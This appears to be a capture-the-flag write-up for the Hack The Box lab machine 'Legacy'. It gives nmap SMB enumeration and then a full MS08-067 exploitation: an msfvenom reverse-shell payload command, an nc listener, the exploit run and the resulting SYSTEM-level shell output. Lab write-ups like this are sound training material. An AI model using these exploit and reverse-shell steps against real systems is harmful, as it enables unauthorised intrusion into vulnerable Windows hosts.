Legacy

Enumeration

- Nmap scan done:

```
Nmap scan report for 10.10.10.4
Host is up (0.042s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows,
cpe:/o:microsoft:windows_xp

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2024-02-01T14:58:26+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC:
00:50:56:b9:52:1b (VMware)
|_clock-skew: mean: 5d00h57m39s, deviation: 1h24m50s, median: 4d23h57m39s
```

This can give shell access and is important but not gonna use this now
`message_signing: disabled (dangerous, but default)`

Trying to access SMB

- `smbclient -L \\10.10.10.4` leads to asking for password
- We can use *enum4linux* or metasploit for smb version detections

- Used nmap script to find `nmap -p 129,445 --script smb-protocols 10.10.10.4` :

```
└─$ nmap -p 129,445 --script smb-protocols 10.10.10.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-27 06:56 EST
Nmap scan report for 10.10.10.4
Host is up (0.042s latency).

PORT    STATE  SERVICE
129/tcp closed pwdgen
445/tcp open   microsoft-ds

Host script results:
| smb-protocols:
|   dialects:
|_    NT LM 0.12 (SMBv1) [dangerous, but default]
```

- Found os using `nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 10.10.10.4`

Using Metasploit

- can use `exploit/windows/smb/ms08_067_netapi` and set lhost to tuno and other options are self explanatory

```
└─$ nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 10.10.10.4

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-27 07:48 EST
Nmap scan report for 10.10.10.4
Host is up (0.045s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2024-02-01T16:46:00+02:00

Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds
```

Without metasploit

- https://github.com/andyacer/ms08_067/tree/master used the ms08_067 exploit
- Generated shellcode with `msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.4 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows` and pasted in the python file.
- listening on port 443:
  `nc -lnvp 443`
- ran the exploit:
  `python2 ms08_067_2018.py 10.10.10.4 7 445`

```
┌──(kali㉿kali)-[~/Downloads/ms08_067]
└─$ python2 ms08_067_2018.py 10.10.10.4 7 445
###############################################################################
#   MS08-067 Exploit
#   This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
#   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
#
#   Mod in 2018 by Andy Acer:
#   - Added support for selecting a target port at the command line.
#     It seemed that only 445 was previously supported.
#   - Changed library calls to correctly establish a NetBIOS session for SMB transport
#   - Changed shellcode handling to allow for variable length shellcode. Just cut and paste
#     into this source file.
###############################################################################

Windows XP SP3 English (AlwaysOn NX)

[-]Initiating connection

[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
Exploit finish
```

- Got the access:

```
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.4] 1031
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>getuid
getuid
'getuid' is not recognized as an internal or external command,
operable program or batch file.

C:\WINDOWS\system32>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 54BF-723B

 Directory of C:\WINDOWS\system32

02/02/2024  09:49 ••    <DIR>          .
02/02/2024  09:49 ••    <DIR>          ..
16/03/2017  07:32 ••               261 $winnt$.inf
16/03/2017  07:18 ••    <DIR>          1025
16/03/2017  07:18 ••    <DIR>          1028
16/03/2017  07:18 ••    <DIR>          1031
16/03/2017  07:18 ••    <DIR>          1033
```